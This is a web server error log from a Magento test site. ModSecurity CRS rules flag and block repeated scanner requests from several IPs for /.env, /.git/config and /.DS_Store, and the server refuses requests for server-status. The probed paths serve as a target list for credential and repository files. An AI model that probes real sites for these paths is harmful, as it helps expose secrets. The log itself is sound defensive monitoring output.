[Sun Nov 16 13:59:42.398064 2025] [:error] [pid 111778] [client 64.226.65.160:37978] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRnKvh7OFadbAiGPfqkq5AAAAAI"]
[Sun Nov 16 13:59:42.448305 2025] [:error] [pid 113903] [client 64.226.65.160:37990] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRnKvqK4kxSjhxan99MlBgAAAAY"]
[Sun Nov 16 13:59:42.448511 2025] [:error] [pid 113903] [client 64.226.65.160:37990] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRnKvqK4kxSjhxan99MlBgAAAAY"]
[Sun Nov 16 13:59:42.448660 2025] [:error] [pid 113903] [client 64.226.65.160:37990] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRnKvqK4kxSjhxan99MlBgAAAAY"]
[Sun Nov 16 13:59:42.502918 2025] [:error] [pid 113276] [client 64.226.65.160:37994] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRnKvrXvaf1IcB4yJOvFFQAAAAU"]
[Sun Nov 16 13:59:42.503138 2025] [:error] [pid 113276] [client 64.226.65.160:37994] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRnKvrXvaf1IcB4yJOvFFQAAAAU"]
[Sun Nov 16 13:59:42.503294 2025] [:error] [pid 113276] [client 64.226.65.160:37994] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRnKvrXvaf1IcB4yJOvFFQAAAAU"]
[Mon Nov 17 23:06:27.285744 2025] [:error] [pid 144419] [client 172.71.172.156:10675] [client 172.71.172.156] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRucY9eMjJ3pUKNKhJ6dxwAAAAA"]
[Mon Nov 17 23:06:27.287623 2025] [:error] [pid 144419] [client 172.71.172.156:10675] [client 172.71.172.156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRucY9eMjJ3pUKNKhJ6dxwAAAAA"]
[Mon Nov 17 23:06:27.287796 2025] [:error] [pid 144419] [client 172.71.172.156:10675] [client 172.71.172.156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRucY9eMjJ3pUKNKhJ6dxwAAAAA"]
[Thu Nov 20 12:58:12.686757 2025] [authz_core:error] [pid 202058] [client 207.154.212.47:42482] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Thu Nov 20 12:58:14.105506 2025] [:error] [pid 202056] [client 207.154.212.47:42506] [client 207.154.212.47] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aR8CVh_JtbHsv1BOIOs0nAAAAAA"]
[Thu Nov 20 12:58:14.105743 2025] [:error] [pid 202056] [client 207.154.212.47:42506] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aR8CVh_JtbHsv1BOIOs0nAAAAAA"]
[Thu Nov 20 12:58:14.105941 2025] [:error] [pid 202056] [client 207.154.212.47:42506] [client 207.154.212.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aR8CVh_JtbHsv1BOIOs0nAAAAAA"]
[Thu Nov 20 12:58:14.390731 2025] [:error] [pid 202075] [client 207.154.212.47:42508] [client 207.154.212.47] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aR8CVlURufz5LUjYkjB6OQAAAAs"]
[Thu Nov 20 12:58:14.390951 2025] [:error] [pid 202075] [client 207.154.212.47:42508] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aR8CVlURufz5LUjYkjB6OQAAAAs"]
[Thu Nov 20 12:58:14.391105 2025] [:error] [pid 202075] [client 207.154.212.47:42508] [client 207.154.212.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aR8CVlURufz5LUjYkjB6OQAAAAs"]
[Thu Nov 20 12:58:15.023584 2025] [:error] [pid 202072] [client 207.154.212.47:42516] [client 207.154.212.47] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aR8CVyq1vX43rkriFAHJGQAAAAg"]
[Thu Nov 20 12:58:15.023863 2025] [:error] [pid 202072] [client 207.154.212.47:42516] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aR8CVyq1vX43rkriFAHJGQAAAAg"]
[Thu Nov 20 12:58:15.024073 2025] [:error] [pid 202072] [client 207.154.212.47:42516] [client 207.154.212.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aR8CVyq1vX43rkriFAHJGQAAAAg"]
[Fri Nov 21 03:46:49.143269 2025] [authz_core:error] [pid 224149] [client 159.89.174.87:48864] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Nov 21 03:46:50.785995 2025] [:error] [pid 224163] [client 159.89.174.87:48882] [client 159.89.174.87] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aR_Smo-vpBn5AqkyjcS04gAAAAs"]
[Fri Nov 21 03:46:50.786231 2025] [:error] [pid 224163] [client 159.89.174.87:48882] [client 159.89.174.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aR_Smo-vpBn5AqkyjcS04gAAAAs"]
[Fri Nov 21 03:46:50.786403 2025] [:error] [pid 224163] [client 159.89.174.87:48882] [client 159.89.174.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aR_Smo-vpBn5AqkyjcS04gAAAAs"]
[Fri Nov 21 03:46:51.240410 2025] [:error] [pid 224157] [client 159.89.174.87:48896] [client 159.89.174.87] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aR_SmxwVZ0k-ldSnL4rj0QAAAAY"]
[Fri Nov 21 03:46:51.240631 2025] [:error] [pid 224157] [client 159.89.174.87:48896] [client 159.89.174.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aR_SmxwVZ0k-ldSnL4rj0QAAAAY"]
[Fri Nov 21 03:46:51.240803 2025] [:error] [pid 224157] [client 159.89.174.87:48896] [client 159.89.174.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aR_SmxwVZ0k-ldSnL4rj0QAAAAY"]
[Fri Nov 21 03:46:51.703525 2025] [:error] [pid 224164] [client 159.89.174.87:48904] [client 159.89.174.87] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aR_Sm3wkd7Eed7ZXqoT4TwAAAAw"]
[Fri Nov 21 03:46:51.703768 2025] [:error] [pid 224164] [client 159.89.174.87:48904] [client 159.89.174.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aR_Sm3wkd7Eed7ZXqoT4TwAAAAw"]
[Fri Nov 21 03:46:51.703918 2025] [:error] [pid 224164] [client 159.89.174.87:48904] [client 159.89.174.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aR_Sm3wkd7Eed7ZXqoT4TwAAAAw"]
[Fri Nov 21 05:29:10.307870 2025] [:error] [pid 224165] [client 93.123.109.7:40372] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aR_qliF2CK_vLyoVI-2EIAAAAA0"]
[Fri Nov 21 05:29:10.308186 2025] [:error] [pid 224165] [client 93.123.109.7:40372] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aR_qliF2CK_vLyoVI-2EIAAAAA0"]
[Fri Nov 21 05:29:10.308347 2025] [:error] [pid 224165] [client 93.123.109.7:40372] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aR_qliF2CK_vLyoVI-2EIAAAAA0"]
[Sat Nov 22 11:36:37.235076 2025] [authz_core:error] [pid 245731] [client 206.189.2.13:45950] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Nov 22 11:36:37.584262 2025] [:error] [pid 246152] [client 206.189.2.13:45996] [client 206.189.2.13] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSGSNdxUU-Hw4pQkel90QwAAAAg"]
[Sat Nov 22 11:36:37.584498 2025] [:error] [pid 246152] [client 206.189.2.13:45996] [client 206.189.2.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSGSNdxUU-Hw4pQkel90QwAAAAg"]
[Sat Nov 22 11:36:37.584677 2025] [:error] [pid 246152] [client 206.189.2.13:45996] [client 206.189.2.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSGSNdxUU-Hw4pQkel90QwAAAAg"]
[Sat Nov 22 11:36:37.705092 2025] [:error] [pid 246090] [client 206.189.2.13:46012] [client 206.189.2.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSGSNSGl9-IF9Fo5Nb8dtAAAAAY"]
[Sat Nov 22 11:36:37.705332 2025] [:error] [pid 246090] [client 206.189.2.13:46012] [client 206.189.2.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSGSNSGl9-IF9Fo5Nb8dtAAAAAY"]
[Sat Nov 22 11:36:37.705482 2025] [:error] [pid 246090] [client 206.189.2.13:46012] [client 206.189.2.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSGSNSGl9-IF9Fo5Nb8dtAAAAAY"]
[Sat Nov 22 11:36:37.791837 2025] [:error] [pid 248051] [client 206.189.2.13:46024] [client 206.189.2.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSGSNRHsbcWMkRqo3BS5egAAAAk"]
[Sat Nov 22 11:36:37.792102 2025] [:error] [pid 248051] [client 206.189.2.13:46024] [client 206.189.2.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSGSNRHsbcWMkRqo3BS5egAAAAk"]
[Sat Nov 22 11:36:37.792261 2025] [:error] [pid 248051] [client 206.189.2.13:46024] [client 206.189.2.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSGSNRHsbcWMkRqo3BS5egAAAAk"]
